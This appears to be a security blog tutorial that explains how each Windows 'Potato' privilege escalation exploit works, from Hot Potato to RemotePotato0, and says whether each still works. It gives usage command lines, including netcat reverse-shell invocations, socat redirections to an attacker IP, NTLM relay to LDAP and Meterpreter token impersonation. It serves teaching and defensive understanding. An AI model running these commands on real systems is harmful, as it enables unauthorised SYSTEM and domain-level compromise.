Skip to main content

In the Potato family, I want them all

Back in 2016, an exploit called Hot Potato was revealed and opened a Pandora's box of local privilege escalations at the window manufacturer. Over the next few years, Microsoft kept patching "Won't fix", which eventually got bypassed with new techniques, always bringing new potatoes.

The goal of this article is to present all the exploits from the first one to the last one, how they work and how to use it. So, let's dive into the incredible Mousline mash up of impersonations and privilege escalations.


Concepts and definitions of important terms

First things first, in the following explains some technical terms and notions will be used. They will be presented here.

  • Access token : It’s an object that describes the security context of a Windows process or thread, something similar to a session cookie on a web site. It is a reference to the ID of the logon session, user and group SIDs, integrity level and privileges held by the user or groups the user is in.
    There are two types of tokens : primary and impersonation. Primaries are attached to process and impersonations to threads.
    "Impersonation is how a server can assume the identity of a client and the security access that the user has. The impersonation is only temporary and overrides the primary token for just the thread until it finishes." (here)
    There are 4 levels of impersonation tokens:
    • Anonymous : the server doesn't know the client
    • Identification : the server knows the client identity, his SIDs and privileges for access control. Most common tokens and useless for privesc purpose
    • Impersonation (Impersonation in Impersonation...close to the Inception) : server can act in behalf of the client, think about Kerberos delegation. The so much desired for privileges escalation.
    • Delegation : server can impersonate the client on both local and remote systems.
  • COM Object (Component Object Model) : Microsoft definition

    COM is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft's OLE (compound documents) and ActiveX (Internet-enabled components) technologies.
  • OXID Resolver : It is a service that runs on every machine that supports COM. It stores the RPC string bindings that are necessary to connect with remote objects and provides them to local clients. Basically, it permits a client to resolve a COM server object and bind to it for methods invocations.
  • IMarshal interface : Microsoft definition
    Enables a COM object to define and manage the marshaling of its interface pointers.[...]
    Marshaling is the process of packaging data into packets for transmission to a different process or computer.Unmarshaling is the process of recovering that data at the receiving end.In any given call, method arguments are marshaled and unmarshaled in one direction, while return values are marshaled and unmarshaled in the other.[...]
    IMarshal provides methods for creating, initializing, and managing a proxy in a client process; it does not dictate how the proxy should communicate with the original object. The COM default implementation of IMarshal uses RPC. When you implement this interface yourself, you are free to choose any method of interprocess communication you deem to be appropriate for your application—shared memory, named pipe, window handle, RPC—in short, whatever works.
  • IStorage interface : Microsoft definition
    The IStorage interface supports the creation and management of structured storage objects. Structured storage allows hierarchical storage of information within a single file, and is often referred to as "a file system within a file". Elements of a structured storage object are storages and streams. Storages are analogous to directories, and streams are analogous to files.
  • CLSID : A CLSID is a unique global identifier that identifies a COM class object.

Now, it's time for exploits !
(i.e. For each exploit, the "Does it still work ?" section means in a fully up-to-date environment)

Hot Potato

  • First exploit of the serie by @breenmachine, disclosed in 2016
  • Valid on Windows 7,8,10, Server 2008 & 2012, if not patched
How it works

When a DNS lookup fail, the computer try to resolve an hostname with NBNS lookup in broadcast. For a privilege escalation purpose, it is not possible to sniff the network and catch the requests because it needs administrator privileges. However, it is possible to flood the target host ( here) with fake NBNS responses when a request is made. We just have to know for which hostname the request is realized, and the TXID value that must match in request and response. It is a 2 bytes value that can be easily brute forced since we are in UDP on
To deal with a possible DNS record that can match during the initial DNS lookup, Hot Potato uses the "UDP port exhaustion" technique : it bind on ALL the UDP ports, leading to a DNS lookup fail.

By default, some installed services like Internet Explorer or Windows Update try to resolve http://wpad/wpad.dat regularly, that is generally doesn't exist on the network.
Hot Potato will flood the target machine (still with NBNS response for the hostname WPAD, saying it is located in; and in parallel it will run an HTTP server to catch the requests. Even if the spoofing attack is ran by a low privileged user it will catch all the requests.

In 2008 Microsoft has patched the same protocol reflective NTLM relay (like SMB->SMB on the same machine), but not the cross protocol reflective NTLM relay. So, HTTP->SMB on the same machine still worked when Hot Potato has been created. Hot Potato redirect all the catched WPAD requests to http://localhost/GETHASHESxxxxx that will response with a 401 error and ask for NTLM authentication. NTLM hash is then relay to SMB to start a new service, as SYSTEM if the original WPAD request come from Windows Update for example.

Examples of command lines
#Windows 7
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true

#Windows Server 2008
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true -spoof_host WPAD.DOMAIN.LOCAL

#Windows 8/10/Server 2012
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true and wait for certificates update
Does it still work ?


  • Reflective cross protocol relay patched on MS16-075
  • WPAD resolution patched on CVE-2016-3213, and does not send credential when requesting the PAC file (CVE-2016-3236)

For further read, it's here

Source code


How it works

RottenPotato is a Hot Potato exploit, but with really strong steroids. Hot Potato was a little bit instable, sometimes it was needed to wait for Windows Update and WPAD cache refresh for several hours, etc. RottenPotato will use DCOM/RPC call to trigger the Net-NTLM authentication.

It is mainly based on three things:

  • RPC in running with NT AUTHORITY/SYSTEM and it will authent on a proxy if we call the API CoGetInstanceFromIStorag
  • RPC on port 135 will reply to all request performed by a first RPC
  • AcceptSecurityContext API call to locally impersonate NT AUTHORITY/SYSTEM

RottenPotato create an instance of an IStorage object which points to Then, via an API call to CoGetInstanceFromIStorage(), it tells to COM to fetch a BITS object (CLSID 4991d34b-80a1-4291-83b6-3328366b9097) from the IStorage instance, which points to
On the port 6666 a TCP listener is running. All COM packets arriving on this listener will be redirected to the RPC port 135 of the machine in order to let the protocol discuss normally until a potential Net-NTLM authentication arrive.

After some communications between COM and the RPC port, COM eventually send a NTLM Type 1 (Negociate) message. RottenPotato catch it and rip out the NTLM section of the packet to start the process of token negotiation by passing the NTLM Type 1 in a call to AcceptSecurityContext(). The response to this call is a NTLM Type 2 (Challenge) message. We will tell this is the Type 2 number #1.
In parallel, the NTLM Type 1 is also forwarded to the RPC port 135.

Following the NTLM Type 1 packet forward to the RPC port 135, the port will response with an NTLM Type 2 (Challenge) packet (this one will be the number #2). RottenPotato catch it, and replace the NTLM blob inside with the NTLM blob from the NTLM Type 2 received after the AcceptSecurityContext() API call (the number #1, still following ?). Why ? Because the authenticating client (SYSTEM here) will use two particular fields from the NTLM Type 2 packet to authenticate : the "NTLM Server Challenge" and the "Reserved" fields.
RottenPotato pass the values obtained during the AcceptSecurityContext() API call to force the SYSTEM account to authenticate with them and thus the SYSTEM account will craft a token for us and not for RPC.

After sending the NTLM Type 2 (Challenge) to COM, it will replies with a NTLM Type 3 (Authenticate) packet following the backend authentication in memory. RottenPotato makes a new call to AcceptSecurityContext() with it and uses the reply to call ImpersonateSecurityContext() to obtain the final impersonation token.

Now to use the impersonation token, the privilege "SeImpersonatePrivilege" or equivalent (like "SeAssignPrimaryTokenPrivilege") is needed. Additionally, RottenPotato relies on a Meterpreter session with the Incognito mode to use the impersonation token. Basically, the Incognito module permits to steal token the same way web cookie stealing works, by replaying that temporary key when asked to authenticate.

Examples of command lines
#In a meterpreter session
use incognito
execute -cH -f ./rottenpotato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
Does it still work ?

No. Doesn't work after Windows 10 1809 & Windows Server 2019 because of patches on DCOM and the OXID Resolver.

For further read, it's here

Source code


How it works

LonelyPotato is a RottenPotato but without meterpreter Incognito needed. It directly implements the API call to CreateProcessAsUser() in order to impersonate the primary token with the SeAssignPrimaryToken privilege (this one can be used in Session 0, which is normally the session used by service accounts like IIS).

Does it still work ?

Deprecated for the same reason as RottenPotato.

For further read, it's here

Source code (really really instructive !)


How it works

It is the same thing as LonelyPotato, but that's the "official Rotten portage" without Incognito.

Source code


How it works

Surelly one of the most famous exploit of the serie, JuicyPotato is a RottenPotato on steroids (encore...ça fait beaucoup là, non ?). It permits to specify which CLSID to abuse instead of the BITS' CLSID hardcoded in the RottenPotato exploit. Additionally, it is possible to specify our COM server instead of the arbitrary, and no need of meterpreter of course.
They discovered that, other than BITS, there are several out of process COM servers identified by specific CLSIDs that could be abused. A list of interesting CLSIDs is presented here.

A usuable CLSID needs at least to:

  • Be instantiable by the current user, normally a service user which has impersonation privileges
  • Implement the IMarshal interface
  • Run as an elevated user (SYSTEM, Administrator, Sylvain Durif, ...)

Other new features, it is possible to choose which function to use depending of the privilege the user has: CreateProcessWithToken() for SeImpersonate or CreateProcessAsUser() for SeAssignPrimaryToken, or both. It is also possible to specify another RPC servers than the for the relay, for stealth purpose.

Examples of command lines
#JuicyPotato with the BITS' CLSID, the COM listener port on 1337, and both functions tested
./juicypotato.exe -l 1337 -p C:\Windows\System32\powershell.exe -t *

#JuicyPotato with a .bat execution, a different CLSID, only the function CreateProcessWithTokenW used and a COM listener on 1337
./juicypotato.exe -l 1337 -t CreateProcessWithTokenW -p pathToBat -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
Does it still work ?

No. It is now impossible to specify a custom port for the OXID resolver (only port 135), and just forward the resolution to a local fake RCP server via a remote OXID resolver give an ANONYMOUS LOGON. It has been patched around the update to Windows 10 1809.

For further read, it's here and here

Source code


How it works

GhostPotato is pretty well named. First because it has been released during the Halloween period, then because it brings back from the death the NTLM Reflection.
The first thing to understand is how Microsoft has patched the original NTLM Reflection attacks with MS08-68 and MS09-13 : when InitializeSecurityContext() is called at the begining of the NTLM authentication, the argument pszTargetName is set to the target SPN. After MS08-68, accessing the SMB share \\test\C$ will result with pszTargetName set to cifs/test. MS09-13 has the same purpose, but for HTTP.

So now, how the mitigations really work for the LSASS process? LSASS keep a cache list of all the NTLM challenges recently issued with the associated SPN in order to detect NTLM Reflection attempts.
The victim creates the Security Context with the target SPN (for example, HTTP/Attacker) by calling InitializeSecurityContext() against LSASS. This Security Context is pushed in a Security Context List. LSASS answers to the victim with a NEGOTIATE message that is relayed to the specified SPN (the attacker), and the attacker relay it, for example, to the SMB server.
The SMB server calls AcceptSecurityContext() against LSASS which will answer with the CHALLENGE. After relay, the CHALLENGE arrive to the victim that will use it with InitializeSecurityContext(). At this point, the issued challenge is stored in a Challenge Table.
LSASS sends the AUTHENTICATE message that the attacker will relay to the SMB server (the SPN is still HTTP/Attacker). The SMB Server calls AcceptSecurityContext() with the AUTHENTICATE message and LSASS will verify the challenge validity in the Challenge Table and...the authentication process is killed because HTTP/Attacker is not a valid SPN for the local machine: NTLM Reflection has been detected. If the SPN doesn't match a specific list of authorized SPNs, the authentication is rejected.

But ! Do the entries in the Challenge Table have an infinite lifetime? The answer is NO, otherwise I will not be writing this paragraph. The challenges older than 300 seconds are deleted when the deletion function is called, and this function is executed everytime a new challenge is added !
The idea behind GhostPotato is to exploit this behavior : when the attacker receives the AUTHENTICATE message, instead of immediatly relay it the SMB server he will keep it and sleep during more than 300s. After this time, a dumb authentication is realized with a wrong password in order to flush the table and the AUTHENTICATE message is finally relayed. When LSASS will lookup in the Challenge Table it will find nothing and...accept the authentication (Woop...Woop...That's the sound of Microsoft).

Since a local authentication is used at the begining, the access level gained with the attack will depend of the victim's access rights.

Examples of command lines
#Works like ntlmrelayx, based on Impacket
python3 -smb2support -of out -c whoami
Does it still work ?

No. Patched in the security patch CVE-2019-1384.

For further read, it's here

Source code


  • By CCob, disclosed in 2020
How it works

It's basically a C# portage of JuicyPotato, really useful for direct in memory loading, with CobaltStrike for example, without dropping the binary on the disk.

It also add another way to exploit : when a BITS COM object is instancied, if the service is not already running BITS will attempt to connect to the local WinRM service on port 5985 with a first NTLM Negotiate message as SYSTEM. By running a fake WinRM server, it is possible to catch this Negotiate message, extract the NTLMSSP packet and SPNEGO header, and call InitTokenContextBuffer() to create a server side context with AcceptSecurityContext() (yeah, that's exactly what you think). This server side context (which is basically the Challenge Type 2 part of the Net-NTLM authentication) can be sent in a 401 Unauthorized HTTP response to the BITS client, client who will respond with an Authorization Type 3. The NTLMSSP part on this response is used with AcceptSecurityContext() to obtain el famoso token. This exploit was firstly exploited in RogueWinRM in 2019.

In case where WinRM is not already running, like on Windows 10 by default, SweetPotato will setup a server on the port 5985 and force BITS to authenticate, as SYSTEM. Since the previous potato exploits don't work anymore after Windows 1809 and Server 2019 because of the DCOM patch, SweetPotato will automatically try to exploit the WinRM path if possible when it encounter the patch.

Now, SweetPotato also embeds the PrintSpoofer exploit, which will be presented in the next section.

Examples of command lines with CobaltStrike (ftw)
#SweetPotato with Netcat execution and arguments, directly in memory, via the WinRM attack
execute-assembly ./SweetPotato -p ./nc.exe -a ' 4646 -e powershell' -e WinRM
Does it still work ?

Yes. There is no actual official patch for PrintSpoofer or the WinRM exploit.

For further read, it's here and here

Source code


Yeah, it's not a *Potato exploit by the name, but it's the same by the purpose...and that's my article, so I will write about it.


How it works

The idea behind PrintSpoofer is to use Named Pipe for impersonation with the ImpersonateNamedPipeClient() function. PrintSpoofer first creates a Named Pipe with CreateNamedPipe() and grant Everyone to access it. Then, ConnectNamedPipe() pause the thread waiting for a client connection. When a connection arrives, ImpersonateNamedPipeClient() realises the impersonation and it is possible to execute some code as the user.

To coerce the SYSTEM authentication, PrintSpoofer use the good old PrinterBug attack. The PrinterBug exploit is based on the Print Service function RpcRemoteFindFirstPrinterChangeNotificationEx() which permits to send change notifications to a print client...and this function use RPC over Named Pipe to work.
However, by default to Spooler will send the notification to the \\HOSTNAME\pipe\spoolss Named Pipe, and this Pipe already exists and is owned by the SYSTEM, so impossible to create it.

If the hostname contains a /, it will pass the path validation checks but, when calculating the path of the named pipe to connect to, normalization will transform it into a \. This way, we can partially control the path used by the server!.

- itm4n

To resume, a path like \\HOSTNAME/pipe/foo123 will be transformed into \\HOSTNAME\pipe\foo123\pipe\spoolss.

And it works ! The Printer function effectively connects to the controlled Named Pipe and a SYSTEM token is received. Now, the impersonation can be done.

Examples of command lines
#From an interactive shell, spawn a SYSTEM shell
./PrintSpoofer.exe -i -c cmd

#Spawn a SYSTEM shell
./PrintSpoofer.exe -c "nc.exe 1337 -e cmd"
Does it still work ?

Yes. No official patch for the moment.

For further read, it's here

Source code


How it works

Since the patches of JuicyPotato, it is now impossible to specify a custom port for the OXID resolver (only port 135), and just forward the resolution to a local fake RCP server via a remote OXID resolver give an ANONYMOUS LOGON. Resolving the OXID resolution to a controlled server permits to obtain a identification token during the IRemUnkown2 interface query, but remember, identification token are not useful for impersonation purpose.

The exploit idea is to call an OXID resolver method with a forged response to trigger a privileged authentication against a controlled listener. For this, the ResolveOxid[2] function is a good candidat because it permits to specify an endpoint with an IP address and a TowerId (ID of the protocol to use in RPC call).
The TowerId "ncacn_np" permits to deal with Connection-Oriented Named Pipes, and therefore with "epmapper". It's related to the "RpcEptMapper" service, an RPC endpoints mapper through Named Pipes instead of the classic TCP port 135. The advantage of this service is it shares the same process space as "rpcss", and both run with the NETWORK SERVICE account (basically, impersonating this account permits to steal a SYSTEM token, according to this James Forshaw's paper).

By default, RPCSS always tries to connect to the pipe \pipe\epmapper, so it is impossible to redirect it to ncacn_np:localhost[\pipe\roguepotato]. However, the PrintSpoofer exploit has revealed a new attack way : inserting / in the hostname will be interpreted as the partial path of the Named Pipe. Specifying ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper] is interpreted and RPCSS is well redirected to the controlled Named Pipe. A NETWORK SERVICE account's token is obtained.

To resume, the attack takes place as follows :

  1. RoguePotato instruct the DCOM server to perform a remote OXID query (by triggering IStorage with CoGetInstanceFromIStorage()) on a remote IP (the attacker IP).
  2. On the remote IP, a "socat" listener redirects the OXID resolutions requests to a fake OXID RPC Server. At this point, an ANONYMOUS LOGON request arrives.
  3. The fake OXID RPC server implements the ResolveOxid2 server procedure, which will point to a controlled Named Pipe [ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]]
  4. The DCOM server will connect to the RPC server in order to perform the IRemUnkown2::RemRelease interface call. By connecting to the Named Pipe, an "Autentication Callback" will be performed and RoguePotato could impersonate the caller via a RpcImpersonateClient() call.
  5. The NETWORK SERVICE's token is stolen.

Then, a token stealer will :

  1. Get the PID of the rpcss service
  2. Open the process, list all handles and for each handle try to duplicate it and get the handle type
  3. If handle type is "Token" and token owner is SYSTEM, try to impersonate and launch a process with CreatProcessAsUser() or CreateProcessWithToken() (classic sh*t now)
Examples of command lines
#On the attacker machine, run the socat redirection
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

#On the target machine, as an account with impersonation privileges
.\RoguePotato.exe -r ATTACKER_IP -e "command" -l 9999
Does it still work ?

After all this time ? Always.

For further read, it's here

Source code


How it works

This one is a little bit particular, it is more a "potato template" to "grow our own potato". It is usefull if you are on a machine patched against JuicyPotato, where WinRM already run, the Print service is stopped, and the RPC port are filtered...basically you are in a CTF.
With impersonation privileges, the idea is to create an HTTP and Named Pipe listener in order to impersonate users making requests to it. The exploit doesn't permit to "auto privesc", but permits to listen, and when a request arrives from a SSRF or a file write for example, KABOUM ! The exploit executes the classic 401 Unauthorized attacks with the NTLM authentication.

Examples of command lines
#Listens on HTTP, port 8000, and executes cmd.exe
./GenericPotato -e HTTP -l 8000
Does it still work ?


For further read, it's here

Source code


How it works

The last but not the least, and maybe the most underrated exploit ! The starting point of this exploit is RoguePotato, but now the objective is to build a cross protocol relay from the RPC authentication to another protocol like LDAP or HTTP on a remote machine to perform a privilege escalation (or at least, actions as another user). This solution could permit to privesc without requiring any impersonation privileges.

image-1647098961002.pngTo achieve this, an authentication from an interesting account (like Domain Admin) without NTLM signing is needed. From the previous research, it appears that IRemUnkown2 doesn't apply any signature. Also, it appears some CLSID impersonate the account connected in the Session immediatly after Session 0, and not the SYSTEM account as usual.
Basically, with a shell in Session 0, by triggering one of these particular CLSIDs an authentication for the user in Session 1 will arrive (or Session 2 if no more 1, that's bait).

There is three main ways to obtain a shell in Session 0:

  • Connection with WinRM-PSSession or ssh
  • A low privileged user granted as "Logon as a batch job" can run a scheduled task with the property "Run the task whether the user is logged in or not"
  • A service account

The list of interesting CLSIDs can be found in the SentinelOne article in read further.

With a shell as a low privileged user in Session 0 on a machine where a privileged user is connected interactively, it is possible to trigger a DCOM activation by unmarshalling an IStorage object, calling CoGetInstanceFromIstorage() with a CLSID that can impersonate an interactive user and setting the attacker IP for the OXID resolution. The attacker who listen on the port 135 will receive the authenticate IObjectExporter::ResolveOxid2 call and will forward it to the fake OXID Resolver. Because this call is signed, it can't be used for the NTLM relay.
Following this, still in the RoguePotato manner, the OXID resolver return a string binding to an RPC endpoint controlled by the attacker. The victim make the IRemUnkown2::RemRelease call on the RPC server, without the Sign flag. At this point, the authentication can be relayed to the desired ressource (LDAP, HTTP, etc).

For the relay purpose, all the MITM and HTTP logic is present in the RemotePotato POC, which then forward the authentication to ntlmrelayx which do its job. Because I can't make a better schema than the SentinelOne ones, here it is :

Totally stolen hereTotally stolen here

During the research they have found that the lack of signing was induced by the security provider choosen in the fake OXID resolver response. If it is set to NTLM (RPC_C_AUTHN_WINNT) with an Authentication Level at RPC_AUTHN_LEVEL_CONNECT (0x2) no signature will be setup. However, by specifying SPNEGO (RPC_C_AUTHN_GSS_NEGOTIATE) no signature will be enforced.

The exploit has now been updated and it is possible to use it from another Session than 0, and to relay another one than the 1.

Examples of command lines
#On the attacker machine, run the socat redirection
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 &
#And the relay to the LDAP for example -t ldap://DC-IP --no-wcf-server --escalate-user normal_user

#Open a session on the victim machine
Enter-PSSession -ComputerName victimMachine
#On the machine, run the RemotePotato exploit
./RemotePotato0.exe -m 0 -r -x -p 9999 -s 1
Does it still work ?

Yes. And for a long time probably.

For further read, it's here

Source code

Final thoughts

The number of exploits in the potato family is mainly due to the cat-and-mouse game that Microsoft and cybersecurity researchers have been playing since the beginning by patching bypass after bypass. But overall, the concept remains the same, and as long as NTLM can be relayed, privesc will always exist (it's beautiful).